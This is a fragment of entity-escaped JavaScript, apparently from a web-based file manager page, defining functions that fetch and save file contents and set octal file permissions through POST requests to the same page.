function editFile(fileName) {            document.getElementById(&#039;editFileName&#039;).innerText = fileName;            const formData = new FormData();            formData.append(&#039;action&#039;, &#039;get_file_content&#039;);            formData.append(&#039;file_name&#039;, fileName);            fetch(window.location.href, {                method: &#039;POST&#039;,                body: formData            })            .then(response =&gt; response.json())            .then(data =&gt; {                if (data.status === &#039;success&#039;) {                    document.getElementById(&#039;editFileContent&#039;).value = data.content;                    showModal(&#039;editFileModal&#039;);                } else {                    alert(data.message);                }            })            .catch(error =&gt; {                console.error(&#039;Error:&#039;, error);                alert(&#039;An error occurred while fetching file content.&#039;);            });        }        function saveFileContent() {            const content = document.getElementById(&#039;editFileContent&#039;).value;            const formData = new FormData();            formData.append(&#039;action&#039;, &#039;edit_file&#039;);            formData.append(&#039;file_name&#039;, currentItemName);            formData.append(&#039;content&#039;, content);            fetch(window.location.href, {                method: &#039;POST&#039;,                body: formData            })            .then(response =&gt; response.json())            .then(data =&gt; {                alert(data.message);                if (data.status === &#039;success&#039;) {                    closeModal(&#039;editFileModal&#039;);                }            })            .catch(error =&gt; {                console.error(&#039;Error:&#039;, error);                alert(&#039;An error occurred while saving file content.&#039;);            });        }        function showPermissionsModal(itemName, currentPerms) {            document.getElementById(&#039;permsItemName&#039;).innerText = itemName;            document.getElementById(&#039;permsInput&#039;).value = currentPerms;            showModal(&#039;permissionsModal&#039;);        }        function setPermissions() {            const permissions = document.getElementById(&#039;permsInput&#039;).value.trim();            if (!permissions.match(/^[0-7]{3,4}$/)) {                alert(&#039;Invalid permissions format. Use octal (e.g., 0755).&#039;);                return;            }            const formData = new FormData();            formData.append(&#039;action&#039;, &#039;set_perm&#039;);            formData.append(&#039;item_name&#039;, currentItemName);            formData.append(&#039;permissions&#039;, permissions);            fetch(window.location.href, {                method: &#039;POST&#039;,                body: formData            })            .then(response =&gt; response.json())            .then(data =&gt; {                alert(data.message);                if (data.status === &#039;success&#039;) {                    closeModal(&#039;permissionsModal&#039;);                    location.reload();                }            })            .catch(error =&gt; {                console.error(&#039;Error:&#039;, error);                alert(&#039;An error occurred while setting permissions.&#039;);            });        }    &lt;/script&gt;</body></html>